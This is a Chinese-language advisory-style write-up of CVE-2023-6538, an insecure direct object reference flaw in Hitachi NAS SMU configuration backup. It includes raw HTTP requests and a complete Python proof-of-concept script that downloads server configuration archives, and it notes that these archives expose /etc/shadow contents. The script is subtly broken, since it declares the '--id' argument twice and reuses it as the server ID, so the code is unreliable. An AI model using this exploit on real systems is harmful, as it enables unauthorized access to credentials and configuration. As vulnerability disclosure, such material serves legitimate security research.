CVE-2023-6538 是 Hitachi NAS（HNAS）的 系统管理单元（SMU）配置备份与恢复 功能中发现的一个 不安全的直接对象引用（IDOR）漏洞。此漏洞影响 SMU 版本 14.8.7825.01 之前的版本。
此漏洞利用要求攻击者掌握一个既非 只读 也非 全局管理员 的用户账户凭证，即：
存储管理员服务器管理员服务器 + 存储管理员按设计，拥有 全局管理员 角色的用户应能访问 SMU 的 配置备份与恢复 功能，该功能位于 https://<HOSTNAME/FQDN/IP>/mgr/app/template/simple%2CDownloadConfigScreen.vm?serverid=1 并发送以下请求，从而创建并下载所选服务器（即连接到 SMU 的服务器）的配置备份：
GET /mgr/app/template/simple%2CDownloadConfigScreen.vm?serverid=1 HTTP/1.1
Host: REDACTED
Cookie: JSESSIONID=REDACTED; JSESSIONIDSSO=REDACTED
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://REDACTED/mgr/app/action/serveradmin.ConfigRestoreAction/eventsubmit_doperform/ignored
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
如果请求成功，SMU 响应以下内容并开始下载 registry_data.tgz：
HTTP/1.1 200
Cache-Control: PRIVATE
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Strict-Transport-Security: max-age=31536000;includeSubDomains
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
P3P: CP="NOI DSP CUR ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Pragma: cache
Content-Disposition: attachment;filename=registry_data.tgz
Content-Type: application/download
Content-Length: 3169247
Date: Fri, 14 Apr 2023 09:30:03 GMT
Connection: close
Server: SMU
[DATA]
然而，由于 SMU 业务逻辑中的疏忽，拥有 存储管理员、服务器管理员 或 服务器 + 存储管理员 账户的攻击者可以更新 JSESSIONID 和 JSESSIONIDSSO cookie，使其匹配他们所持用户的 cookie，从而允许他们下载配置归档。此外，攻击者还可以更新请求中的 serverid 参数，枚举并下载连接到 SMU 的不同服务器的配置归档。
因此，可以使用像 CVE-2023-6538.py 这样的脚本来利用此漏洞：
#!/usr/bin/python3
#
# Title: Hitachi NAS (HNAS) System Management Unit (SMU) Configuration Backup & Restore IDOR Vulnerability
# CVE: CVE-2023-6538
# Date: 2023-12-13
# Exploit Author: Arslan Masood (@arszilla)
# Vendor: https://www.hitachivantara.com/
# Version: < 14.8.7825.01
# Tested On: 13.9.7021.04
import argparse
from os import getcwd
import requests
parser = argparse.ArgumentParser(
description="CVE-2023-6538 PoC",
usage="./CVE-2023-6538.py --host <Hostname/FQDN/IP> --id <JSESSIONID> --sso <JSESSIONIDSSO>"
)
# Create --host argument:
parser.add_argument(
"--host",
required=True,
type=str,
help="Hostname/FQDN/IP Address. Provide the port, if necessary, i.e. 127.0.0.1:8443, example.com:8443"
)
# Create --id argument:
parser.add_argument(
"--id",
required=True,
type=str,
help="JSESSIONID cookie value"
)
# Create --sso argument:
parser.add_argument(
"--sso",
required=True,
type=str,
help="JSESSIONIDSSO cookie value"
)
# Create --id argument:
parser.add_argument(
"--id",
required=True,
type=str,
help="Server ID value"
)
args = parser.parse_args()
def download_file(hostname, jsessionid, jsessionidsso, serverid):
# Set the filename:
filename = "registry_data.tgz"
# Vulnerable SMU URL:
smu_url = f"https://{hostname}/mgr/app/template/simple%2CDownloadConfigScreen.vm?serverid={serverid}"
# GET request cookies
smu_cookies = {
"JSESSIONID": jsessionid,
"JSESSIONIDSSO": jsessionidsso
}
# GET request headers:
smu_headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Dnt": "1",
"Referer": f"https://{hostname}/mgr/app/action/serveradmin.ConfigRestoreAction/eventsubmit_doperform/ignored",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Te": "trailers",
"Connection": "close"
}
# Send the request:
with requests.get(smu_url, headers=smu_headers, cookies=smu_cookies, stream=True, verify=False) as file_download:
with open(filename, 'wb') as backup_archive:
# Write the zip file to the CWD:
backup_archive.write(file_download.content)
print(f"{filename} has been downloaded to {getcwd()}")
if __name__ == "__main__":
download_file(args.host, args.id, args.sso, args.id)
通过检查 registry_data.tgz 可以进一步理解 CVSS v3.1 评分 7.6 的合理性：
$ tree -a
.
├── backup.properties
├── registry5.11.db1
├── registry5.13.db1
├── registry5.14.db1
├── registry5.15.db1
├── registry5.1.db1
├── registry5.2.db1
├── registry5.3.db1
├── registry5.4.db1
├── registry5.5.db1
├── registry5.6.db1
├── registry5.7.db1
├── registry5.8.db1
└── registry5.db1
1 directory, 14 files
.tgz 归档包含连接到 SMU 的服务器的各种设置和信息：
如上图（已编辑）所示，registry5.db1 包含所选服务器 /etc/shadow 的内容（通过正则表达式发现）。
此漏洞是 CVE-2023-5808 的“姐妹漏洞”。